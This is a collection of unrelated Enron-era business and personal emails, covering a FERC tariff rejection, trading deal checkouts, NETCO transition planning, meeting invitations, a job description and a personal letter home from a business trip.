     inter-affiliate power sales transactions.  There is, for example,
     no provision in the proposed amendments regarding how
     unaffiliated customers, or other interested parties, would
     monitor inter-affiliate transactions.

          For the above reasons, we will reject the proposed
     amendments, without prejudice to Applicants revising their
     proposal to address the Commission's concerns and incorporating
     appropriate restrictions to protect against affiliate abuse.

               11
                 Likewise, PGE might be willing to buy at lower prices and
          sell at higher prices.

          Docket Nos. ER01-2097-000 -6-
          and ER01-2103-000

     The Commission orders:

          Applicants' proposed tariff amendments are hereby rejected,

     without prejudice, as discussed in the body of this order.

     By the Commission.

     ( S E A L )

                                        David P. Boergers,
                                              Secretary.

 - portlandgeneralrejectingtariffsER012097_TXT.txt


Here is Staff's third set of data requests to PPL MOntana, LLC and PPL  EnergyPlus, LLC.
 - datarequest 3 to PPL.wpd


Group,

Please join me in a meeting Tuesday at 4:30 in Mt. Hood.  We will be discussing strategy and group direction!
Pizza will also be in attendance.

Thanks,
B


Christine,

I so rarely write love notes.  17 years ago it was common place, even a daily
event.  What happened to that guy?  I could have been a cartoonist in another
life.

I am here at 35,000 feet 2,000 miles from Bankock Thailand, flying  by China,
soon to be over the Philippines and pondering our lives.  You said something
very interesting to me on the phone as I was getting on the bus to the
airport.  You said that you would love to have 6 hours on the airplane by
yourself.  I can certainly understand that.  I seem to have a l lot of that
on this trip.  I am sitting here on the plane, a little tipsy after a couple
glasses of wine, and my mind turns to you and the kids.   I wish I could be
there now to see the kids all dressed up in their costumes ready to go out
trick or treating.  I bet they look great.

As i sit here and feel a little sorry for myself then i come back to reality
and realize just how lucky we really are.  I turned to Ken Rice at the
ceremony yesterday and said, "What is an Okie and a boy from Nebraska doing
at a Japanese barrel ceremony with Thomas Foley, former Speaker of the House,
breaking a barrel of saki in front of 300 Japanese executives and TV.  The
Prime Minister of Japan didn't show up and actually it is expected that he is
out of a job on a no confidence vote last night.  (Really bad luck for Enron
here) I would have liked to have met him.  Actually, the ceremony was neat
and I imagine that they will have some funny pictures from it.  You should
see me in a Happy coat.  I'll explain when i get home.

Can you imagine sitting in our home, right after Michael was born and even
imagining what are lives are like today?  We are so blessed.  Even more than
that, I am so blessed to have you. I was writing in my journal on the trip
over, you know my journal - that project that I have dedicated a big part of
my life to and that you have never read, reflecting on our lives and
wondering why God let me find you so many years ago.  I must have been a
priest in a former life.

Anyway, I just wanted to say I love you and there aren't any phones on this
airplane.  Thai Airlines, go figure. So I am calling you via email.  Although
I am not sure when I will get the opportunity to actually send this over the
internet.

I love you and miss you very much.

Eternally,
Michael

See you soon and in time for soccer.

xxxxxooooo


Thank you for a very successful holiday party.  Debbie and I thoroughly
enjoyed the evening.  Your hard work definitely paid-off for our entire
organization.

I would like to host a lunch for the committee, after the holidays, as a way
of thanking you.   I will have Cindy coordinate your schedules.

Thanks again,
Stan


These guys are looking to come in the first few weeks of August.  What is
your availability?

Grant.
---------------------- Forwarded by Grant Masson/HOU/ECT on 07/20/2000 08:18
AM ---------------------------

Carlos Eduardo Machado@ENRON_DEVELOPMENT
07/18/2000 06:28 PM
To: Grant Masson@ECT
cc: Gabriel Sanchez-Sierra/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
Subject: Request for visit and meeting

Hi Grant, we met briefly a couple of months ago. I work with Pedro in the
Colombia office. We are working closely with Ecopetrol (Colombia's
state-owned oil company) on a very important deal, and some of their highest
ranking officials (3 of them) will like to visit our head quarters in early
August, to share some ideas on risk management tools (very general concepts
that can obviously be disclosed).

My assumption is that Vince and your-self are the perfect people to have the
meeting with. Several consulting firms have advice Ecopetrol to get in touch
with Enron when referring to advance risk management techniques. Do you think
this is possible? Please let me know, this means a great deal for this
office, but I also know you guys are extremely busy. Thanks,

Carlos E


Start Date: 1/31/02; HourAhead hour: 5;  HourAhead schedule download failed. Manual intervention required.


unknown

-----Original Message-----
From: Scott.Hendrickson@enron.com [mailto:Scott.Hendrickson@enron.com]
Sent: Wednesday, April 18, 2001 9:51 AM
To: bruce.s.grant@lmco.com
Subject: Re: FW: ALADDIN VISIT

So, what does that mean for last weekend?  Any love?

Scott


In Bruce McMills absence, I am sending the following correction for Eastrans
Nominations.  Bruce has confirmed the correction with Darren Farmer.

Correction for 4/5/2000 nomination:

Deliveries:

75,000 MMBtu into Eastrans

Redeliveries:

20,000 into PG&E
7,800 from Fuels Cotton Valley into HPL
12,200 into HPL's Carwheel at Carthage
20,000 into Mobil Beaumont at HSC - $.0375
15,000 into Mobil Beaumont at HSC - $.055


Bob does not recognize these deals, and tried to check with the broker. He'll
talk to TFS in the morning to verify these and I'll let you know ASAP.

Thanks,
Kate

Kerri Thompson@ENRON
11/30/2000 02:32 PM
To: Kate Symes/PDX/ECT@ECT
cc:

Subject: tfs checkout

missing 2 deals for bob:

buy el paso
cal 01
141.00
25 mw
pv
on peak

sell ees
cal 01
141.05
25 mw
pv
on peak

thanks


As a result - new spreadsheet


Your resume was not attached to your e-mail. I don't have any openings in
Enron Wholesale, but I will send your resume around.

	"Kevin Risley" <KRISLEY@smklaw.com>
	04/12/2001 01:36 PM

		 To: <rsander@ect.enron.com>
		 cc:
		 Subject: Resume

Richard-

        As I mentioned in a voice mail I left a little earlier, Iam currently
looking for a position in litigation, with a preference for some work in the
appellate area.  Kristina Mordaunt and David Koogler suggested that I contact
you to see if there is anything presently available.  I am taking the liberty
of attaching a resume and list of reported decisions so you can see my
background.  If you don't mind, I will try to call you the first part of next
week.  If you would like to talk before then, I can be reached at
713-754-6300.

        Thanks for your consideration.

        Kevin Risley


here is the the file.
PL


Amy - This is a copy of the job description you sent out to the floor when I
took the Deal Control position. I've modified it slightly to reflect some of
my own observations of the position.

There is a position available in Deal Control, reporting to Jeff Richter and
the Short Term California desk. If you're interested in applying, please
contact Amy FitzPatrick by (INSERT DATE HERE).

Following is a summary of the responsibilities associated with this position:

To facilitate the entry of West Power deals, including short term and long
term desks and the services desk, into the trading systems.
Follow-up with Deal Clearing Settlements groups in Houston to verify accuracy
of trades in the system.  This includes timely follow-up with the traders for
clarification.
Ensure that all trades are entered by a daily deadline.
Calculate and report weighted averages of daily price and volume to Dow Jones.
Prepare and distribute daily reports to ensure all books are balanced and
report discrepancies to management.
Track and report daily and monthly error discrepancies to management and
deliver reports for possible solutions to rectify errors.
Calculate weighted averages between brokered trades and trades executed
through Enron OnLine and the Intercontinental Exchange.
Report any technical mishaps to appropriate personnel in Houston and track
computer problems until demonstrated resolutions.
Test any updated versions of applications requested by programmers and report
back any adjustments needed.

The most important attributes one must possess to succeed in this position
are persistance and a positive attitude. Working knowledge of Microsoft Excel
is essential, as is a general software aptitude.

How does that sound? Let me know if you need more.

Thanks,
Kate


Please click on the attached link to launch your Holiday Party invitation.

 http://invitation.enron.com

Please direct any questions to Dorie Hitchcock via email.


yea, how about 3:30?

Sarah Wesner@ENRON
10/16/2000 10:21 AM
To: John Arnold/HOU/ECT@ECT
cc:
Subject: Margin Lines

Are you around today?  I need to talk to you about some things.  Sarah


The man who thinks he can do without the world is indeed mistaken; but the
man who thinks the world cannot do without him is mistaken even worse.
-Francois, duc de La Rochefoucauld


I would like to schedule a short meeting in your office to  share the
remarkable progress that the Committee to Encourage Corporate  Philanthropy
is making and to ask that you consider hosting a meeting for  ten to fifteen
CEOs of other major Houston corporations to encourage their  participation in
the only forum of CEOs focused on the agenda of corporate  giving.
?
I'm anxious to meet you as we have so many friends in  common: three of your
directors, John Duncan, Pug Winokur and Norm Blake, and  the Slocums, to name
just a few.
?
I look forward to hearing from you.
?
?
P.S. If it works in your schedule, I'm available to come  to Houston on
August 28 or 29 or anytime the week of September  4.


Notice No. CMS-29
March 6, 2002

COMMODITY EXCHANGE, INC.

SWITCH OF GUARANTEE

Please be advised that effective immediately, March 6, 2002, William Bradt
(BIGE-982) will no longer be guaranteed by Man International, Inc.  However,
Mr. Bradt will remain a member guaranteed by FC Stone, LLC.

In connection therewith, notification of any claims against the
aforementioned individual arising out of transactions executed on the
Exchange up to the close of business on February 21, 2002, must be submitted
to the Corporate Secretary's Office within the (10) days.

Inquiries regarding the above should be directed to the Member Services
Department at 212-299-2370.


Sara:
We have never gotten comfortable with the Canadian cash collateral issue.
You may recall that Shari recently looked into this but her situation was
limited to a particular counterparty.  I was never comfortable with the
advice that I got from Blake, Cassells and would suggest that we follow up
with stikeman which is who Shari worked with.  She may have some updated
memos on this in the file she was working on (I think it was Duke).

Molly and I never talked about this.  Mark needs to pick someone who should
be in charge.  Molly was never interested in meeting to talk globally about
this but I think that a meeting with her and Bradford needs to occur.  Take
care.  Got to go.  Hope to see you in about 2 weeks.

Carol St. Clair
EB 3892
713-853-3989 (Phone)
713-646-3393 (Fax)
carol.st.clair@enron.com

	Sara Shackleton
	08/03/00 01:31 PM

		 To: Carol St Clair/HOU/ECT@ECT
		 cc: Mark Taylor/HOU/ECT@ECT
		 Subject: Cash collateral in Canada

Carol:  Hope all is well.  We are missing you every day.

(1)  On a "swap" related note, we have a Canadian party requesting the
ability to post cash collateral to ENA.  Can you recall where we left off on
the issue?  I seem to  remember conflicting advice (Peter's insistence upon
the Stikeman memo and ENA simply not agreeing to accept cash) and uncertainty
as to how ENA could perfect its interest and what law governs (in cash held
in a U.S. account).

(2)  On a "credit" related note, I was forwarded the 7/24/00 Margin Exception
Report (originally sent to your attention).  What were you doing to follow up
on this report?  Yesterday, Mary gave me a copy of a "collateral letter"
being sent by Molly Harris.  Did you speak with Mary about working on this
project in your absence?

Edward Ondarza is moving to EBS.   Stephanie Panus starts on Monday.  That's
all the news for now.

Talk to you soon.  Sara

P.S.  Can you send photos over the net?


Mike Junior will be doing EOL and curves.


Gentlemen,
Here's the PCB log.? Something is wrong  with my excel files, so I hope you
can open this.? I'm not able to open the  graph.? If anyone has it, could you
please send it to me so I can update it  and send it out.?

Thanks,
Marji Fergerson

Topock Compressor  Station
8 534 5524
760 326 5524
FAX 534 5542
[IMAGE]

 - PCB Master Log.xls
 - sunbannA.gif
 - Sunflower Bkgrd.jpg


107th Committee Assignments

Agriculture - Larry Combest
Appropriations - C.W. Bill Young
Armed Services - Bob Stump
Banking (Financial Services)- Michael G. Oxley
Budget - Jim Nussle
Commerce- W.J. "Billy" Tauzin
Education and the Workforce- John A. Boehner
Government Reform - Dan Burton
International Relations - Henry J. Hyde
Judiciary - F. James Sennsenbrenner, Jr.
Resources - James V. Hansen
Science - Sherwood L. Boehlert
Select Intelligence - Porter J. Goss
Small Business - Don Manzullo
Standards on Official Conduct - Joel Hefley
Transportation - Don Young
Veterans Affairs - Christopher H. Smith
Ways and Means - William M. Thomas


Listen Girly!  I'm back from lunch and an email and I want it now!

KDavis2075@aol.com on 10/09/2000 01:03:45 PM
To: Dana.Davis@enron.com
cc:
Subject: lunch!!!!!

Hi
don't call because I'm on my
lunch break so if you need
me email me!
buh-bye!!!!![Unable to display image]look!!!!


Greg and John,

I found that by reducing the volume per trade and increasing daily number of
trades ( keeping the
total volume per day constant), we can be more profitable.  This is partially
because in a trending market
we lose less money by following the market more closely. For example, suppose
market move from
$30 to $35. If per trade volume is 10,000 BBL, we take 6 trades of short
positions, the total MTM for that
day is (-5-4-3-2-1)*10,000=-$90,000 and total trading volume is 60,000 BBL.
 If per trade volume is 60,000 BBL, we take one trade, the total MTM is
-5*60,000= -$300,000.

Therefore it seems that by reducing per trade volume and increasing the
number of trades, we can be more
profitable as a market maker.

I rerun a scenario that Stinson sent to you on Dec. 27 where he used per
trade volume of 30,000 BBL.
I reduce the number of trade to 10,000 while increasing the number of trades
by 3.  Almost in all
cases, I saw increased profitability.  See the colume marked "Change" for
dollar amount change.

Please let Stinson or me know your thoughts on this.

Regards,

Zimin Lu

x36388

As a comparasion to


Just to keep you up-to-date with the saga...

 -----Original Message-----
From: 	Kitchen, Louise
Sent:	Friday, January 04, 2002 8:36 AM
To:	Beck, Sally
Subject:	RE: NETCO

I am assuming one of you comes initially - you or Bob.  We don't mind someone coming later but do need someone in at the beginning.  What do you think?

 -----Original Message-----
From: 	Beck, Sally
Sent:	Thursday, January 03, 2002 6:24 PM
To:	Kitchen, Louise
Subject:	RE: NETCO

Barry would be good and I do believe that he is an asset.  I will talk with Wes and see what we can suggest.

With regard to your comment that I am "in", in my conversation with Greg Whalley a couple of weeks ago he said that he does need me to accomplish some things for the estate and that like Mark Haedicke, and perhaps himself, there could be some issues with the Estate and creditors committee if we were to go to Netco immediately.  What I agreed to with Greg is that I will be focused on the Estate and that I would be interested in talking about Netco in 30 to 60 days.  In the meantime, I will participate as much as you would like for me to on the due diligence process around the auction.  I will gladly meet with any and all prospective buyers to make them comfortable with our processes, systems, staff expertise and operational controls.  And you can also count on me if I can play a role in assuring that the staff destined for Netco is in tact and is motivated and excited about the opportunities there.

Leslie Reeves will be getting the org charts to Tammie this afternoon before she leaves.  Gas logistics is not included in the operations org charts, as our understanding is that logistics is being included in the commerical org charts.

--Sally

 -----Original Message-----
From: 	Kitchen, Louise
Sent:	Wednesday, January 02, 2002 7:05 PM
To:	Beck, Sally
Subject:	RE: NETCO

Barry is in Accounting for now, Jim wants him for the estate.  All of that was before you were in.  I had to plan.  I think Barry is an asset - Wes and I don't know where though.  Any thoughts?

 -----Original Message-----
From: 	Beck, Sally
Sent:	Wednesday, January 02, 2002 6:57 PM
To:	Kitchen, Louise
Subject:	RE: NETCO

Bob is out with the flu and may be out through tomorrow.  I will coordinate with him on org charts.  Where do you want to have Gas Logistics - under Bob in operations or under trading?  Given your answer, we just need to be consistent with commercial on this for the org charts.

Also, I talked with Bob Hall today and would expect to hear definitively from him tomorrow regarding his commitment to Netco.  I had an interesting conversation with Barry Pearce this morning, and sounds as if you already have an alternative plan under way.  --Sally

 -----Original Message-----
From: 	Kitchen, Louise
Sent:	Wednesday, January 02, 2002 6:44 PM
To:	Kitchen, Louise; Colwell, Wes; Hodges, Georgeanne; Milnthorp, Rob; Zufferli, John; Hedstrom, Peggy; Myers, Thomas; Bradford, William S.; Will, Lloyd; Beck, Sally; Hall, Bob M; Presto, Kevin M.; Forster, David; Reeves, Leslie; Gaskill, Chris; Superty, Robert; Lagrasta, Fred; Luce, Laura; Tycholiz, Barry; Redmond, Brian; Vickers, Frank; Gossett, Jeffrey C.; Arnold, John; Grigsby, Mike; Allen, Phillip K.; Neal, Scott; Martin, Thomas A.; Shively, Hunter S.; Rub, Jenny; Webb, Jay; Haedicke, Mark E.; Buy, Rick; Calger, Christopher F.; Duran, W. David; Robinson, Mitch; Curry, Mike; Heizenrader, Tim; Belden, Tim; Steffes, James D.; Aucoin, Berney C. ; Roberts, Mike A.; Oxley, David
Cc:	Lavorato, John; Schoppe, Tammie
Subject:	RE: NETCO

Organisational Charts have been requested by one of the potential Buyers.  Please send to Tammie by close of play tomorrow.

Thanks

 -----Original Message-----
From: 	Kitchen, Louise
Sent:	Monday, December 31, 2001 12:54 PM
To:	Colwell, Wes; Hodges, Georgeanne; Milnthorp, Rob; Zufferli, John; Hedstrom, Peggy; Myers, Thomas; Bradford, William S.; Will, Lloyd; Beck, Sally; Hall, Bob M; Presto, Kevin M.; Forster, David; Reeves, Leslie; Gaskill, Chris; Superty, Robert; Lagrasta, Fred; Luce, Laura; Tycholiz, Barry; Redmond, Brian; Vickers, Frank; Gossett, Jeffrey C.; Arnold, John; Grigsby, Mike; Allen, Phillip K.; Neal, Scott; Martin, Thomas A.; Shively, Hunter S.; Wynne, Rita; Rub, Jenny; Webb, Jay; Haedicke, Mark E.; Buy, Rick; Calger, Christopher F.; Duran, W. David; Robinson, Mitch; Curry, Mike; Heizenrader, Tim; Belden, Tim; White, Stacey W.; Steffes, James D.; Aucoin, Berney C. ; Roberts, Mike A.; Oxley, David
Cc:	Lavorato, John
Subject:	NETCO

The New Year has arrived and we really to finalize a lot of the work with regards to moving into NETCO.  Obviously we still do not have a deal but the deadline is approaching and preparations need to be finalized.

The main areas to focus on over the next week are:-

(i) 	Re-start/Integration Plans (due on Jan 7)				To be forwarded to Louise
	These plans need to be detailed and show clear detailed timelines and detailed responsibilities for getting us up and running as soon as possible.
	The current restart date is January 21, 2001 but may be pushed forward to January 14, 2002.
(ii)	Budget (due Jan 3, 2002)						To be forwarded to Faith Killen
	First year budget to include all start up costs (some of which can be amortized)
(iii)	Seating Plans								Tammy Shepperd to co-ordinate
	We need to start the planning process for seating as we will be living on floors 5 & 6 of the Enron South building.
	I have asked Tammy Shepperd to commence the seating plan and we would look to start the moves as soon as possible but with a large number occuring around January 11,2002.
(iv)	Due Diligence
	We continue the process with two new companies this week (Wednesday and Thursday). Andy Zipper is taking the lead for the company arriving on Wednesday, please help him with his requirements.

I would ask that both John and I are notified of any changes to the Netco personnel list on a timely fashion and that the list is maintained on a continual basis.  Please forward all alterations to Jeanie Slone who has responsibility for the master list.

Communication - I believe that the New Year combined with a internal communication issues may be a good time to review what we want to say on Netco and what our policies are.  I am asking David Oxley to co-ordinate with all of you on this.  I know a lot of you believe that we need to only communicate once we have retention programme in place for the estate which may be a good idea but we we need to make sure that we lose as few people as possible.

If you are unavailable this week, please ensure you delegate this work out.

Happy New Year

Louise


Sara Beth called and said that she thinks EAMR and Citizens have resolved the insurance issue.  I am hopeful that is the case.

Attached are drafts of the ENA/Citizens Confirmation Agreement and the ENA/Citizens/Cogan Agreement.  Please review them both for final changes.  Once you have given final approval we will forward original Confirmation Letters for your signature.  With respect to the Cogan Letter, we would like Citizens to send the letter to us.  Let me know if this is OK.

Thanks

Chris


That is a very risky request.
----- Original Message -----
From: Kimzey, Bryan <bryan.kimzey@csfb.com>
To: Adam Wexler (E-mail) <wexler@pdq.net>; Andrew Slocum (E-mail)
<andrews@calpine.com>; Baker Burleson (E-mail)
<bburleson@bofasecurities.com>; Beeman Strong (E-mail)
<bcstrong@ichips.intel.com>; Ben Rogers (E-mail) <brogers2@enron.com>;
Benson Henry (E-mail) <bhenry1972@aol.com>; Billy Iglesias (E-mail)
<wiglesias@rioenergy.com>; Blake McWherter (E-mail)
<cmcwhert@bankunited.com>; Brad Hughes (E-mail) <bradhughes88@hotmail.com>;
Brett Martin (E-mail) <brett_martin@dell.com>; Brian Austin (E-mail)
<baustin@gables.com>; Brian Jinks (E-mail) <Brian.Jinks@Bus.utexas.edu>;
Carleton McHenry (E-mail) <cmchenry@pdq.net>; Clay Page (E-mail)
<cpage@rwconlp.com>; Clint Cobb (E-mail) <clintc@rocketball.com>; Craig
Friou (E-mail) <craig.p.friou@us.pwcglobal.com>; Curt Crofford (E-mail)
<ccrofford@dlj.com>; Dent, Dick (E-mail) <adent@fulbright.com>; Dirk Gnam
(E-mail) <Derrick_Gnam@dell.com>; Ed Solar
Sent: Wednesday, March 22, 2000 12:26 PM
Subject: Sports Illustrated Swimsuit Issue/Calendar

> Gentlemen,
>
> Does anyone have the new electronic Sports Illustrated Swimsuit Issue or
> Calendar?
> My boss is looking for a copy and keeps asking me for it, expecting
nothing
> but the best.
> So far, I have nothing to give him, so I would appreciate your help in
this
> endeavor.
>
> Thanks,
>
>
> W. Bryan Kimzey
> Global Energy & Project Finance Group
> CREDIT | FIRST
> SUISSE | BOSTON
> Work:  (212) 325-6198
> Fax:    (212) 743-2165
>
>
> This message is for the named person's use only.  It may contain
> confidential, proprietary or legally privileged information.  No
> confidentiality or privilege is waived or lost by any mistransmission.
> If you receive this message in error, please immediately delete it and all
> copies of it from your system, destroy any hard copies of it and notify
the
> sender.  You must not, directly or indirectly, use, disclose, distribute,
> print, or copy any part of this message if you are not the intended
> recipient. CREDIT SUISSE GROUP and each of its subsidiaries each reserve
> the right to monitor all e-mail communications through its networks.  Any
> views expressed in this message are those of the individual sender, except
> where the message states otherwise and the sender is authorised to state
> them to be the views of any such entity.
>
>
>
>

 - Anna1.jpg